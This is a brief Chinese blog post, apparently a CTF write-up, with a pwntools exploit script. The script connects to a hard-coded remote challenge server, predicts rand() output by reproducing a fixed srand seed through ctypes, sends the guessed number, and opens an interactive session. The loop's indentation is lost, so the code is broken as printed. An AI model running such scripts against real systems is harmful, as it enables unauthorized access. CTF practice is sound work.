这篇博客展示了如何使用`pwn`库远程连接到服务器，并通过加载`libc.so.6`动态链接库来调用`srand`和`rand`函数生成随机数。在循环中发送不同范围的随机数payload，然后进入交互模式进行进一步的内存操作分析。
from pwn import *
from ctypes import *
context.log_level = "debug"
p = remote('43.142.108.3',28143)
#p = process('./1')
elf = cdll.LoadLibrary('libc.so.6')
elf.srand(0x1317E53)
for i in range(1):
p.recvuntil('you.\n')
payload = str(elf.rand() % 100 - 64)
p.sendline(payload)
p.recv()
p.interactive()
扫一扫
1464
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
